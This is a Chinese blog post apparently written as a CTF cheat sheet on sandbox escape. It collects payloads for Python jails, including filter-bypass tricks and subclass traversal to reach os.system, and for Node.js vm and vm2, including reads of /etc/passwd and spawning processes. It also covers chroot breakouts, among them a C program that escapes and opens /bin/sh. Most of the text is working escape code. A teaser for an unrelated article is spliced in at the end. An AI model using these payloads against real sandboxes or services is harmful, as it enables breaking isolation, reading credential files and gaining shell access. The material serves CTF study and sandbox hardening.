沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。
Python
-
模块
1
2
3
4
5
6
7
8
9
10
11
12
13
import os
os.system('dir')
os.popen('dir').read()
import platform
platform.popen('dir').read()
platform.os.system('dir')
import timeit
timeit.timeit("__import__('os').system('dir')") -
import
1
2__import__('os')
__builtins__.__dict__['__import__'] -
重载模块 / 重新引入
1
2
3
4
5
6
7
8
9
10
11
reload(__builtin__)
import imp
imp.reload(__builtin__)
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'
execfile('/usr/lib/python2.7/os.py') -
函数调用 / 命令执行
1
2
3
4
5
6
7
getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls') -
文件读取
1
2
3
4
().__class__.__base__.__subclasses__()[40]("1.txt").read()
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
"".__class__.__mro__[-1].__subclasses__()[40]("1.txt").read() -
关键字过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29'sys'+'tem' => 'system'
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi') => '__buildins__'
dir()[0] => '_'
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
exec("import os;os.system('curl xxx')")
0=False
1=True
2=True+True=True-(-True)
3=True+True+True=True-(-True)-(-True)
list(globals().keys())[11]
globals()[list(globals().keys())[11]]
time.sleep(3) if open('/flag').read()[0]=='c' else 1
node.js
-
前端
在前端中,可能会使用删除
eval
,重写Function.prototype.constructor
/GeneratorFunction
/AsyncFunction
等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。 -
服务端
JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。
在原生的沙箱模块中,常用的逃逸方式为:
1
2
3
4
5
6
7
8const sandbox = {};
const whatIsThis = vm.runInNewContext(`
const ForeignObject = this.constructor;
const ForeignFunction = ForeignObject.constructor;
const process = ForeignFunction("return process")();
const require = process.mainModule.require;
require("fs");
`, sandbox);一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this是一个特别的,this指向
runInContext(line, context)
这一句里的context变量,它属于沙盒外,实际上,它是一个{}
。1
2
3
4
5
6
7
8
this.constructor.constructor('return this.process.binding')()('fs').readdir('/',function (err, data) {data})
this.constructor.constructor("return process")().mainModule.require("fs").readFileSync("/etc/passwd").toString()
const {spawnSync} = this.constructor.constructor("return process")().mainModule.require('child_process')
spawnSync('cat /flag', [], {stdio: 'inherit'});考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:
1
2
3
4
5vm.runInNewContext(
'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
{console:{log(){console.log.apply(console,arguments);}}},
{timeout:5}
);
chroot
chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外。
参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!
-
mount
1
2
3
4mount /dev/sda1 /tmp
cd /tmp
cd /tmp/bin
./cat /tmp/etc/passwd -
/proc
1
2ls /proc/*/root
cd /proc/[PID]/root -
清空env
查看env可以发现,有个奇怪的变量:
LD_PRELOAD=libfakechroot.so
,它是一个用于在用户权限下更改root目录的工具。只要把这个环境变量给删掉:
env LD_PRELOAD=/bash
,就在真正的root中了。 -
可执行程序
1
2
3cat << EOF > getmeoutofhere.c
[内容]
EOF-
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main() {
int x;
int dir_fd;
mkdir("chroot-breakout-dir", 0755);
dir_fd=open(".", O_RDONLY);
chroot("chroot-breakout-dir");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1024; x++) {
chdir("..");
}
chroot(".");
system("/bin/sh");
} -
Perl
-
本文首发于圈子社区,如未授权禁止转载!01前言说起外挂,人皆恨之。当我单纯的以为现在的外挂售卖还只是活跃在非法的卡盟平台时,熟不知他们已经将手伸向了流量平台进行变相售卖。02缘起故事是这样开始的: 有天晚上我实在睡…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论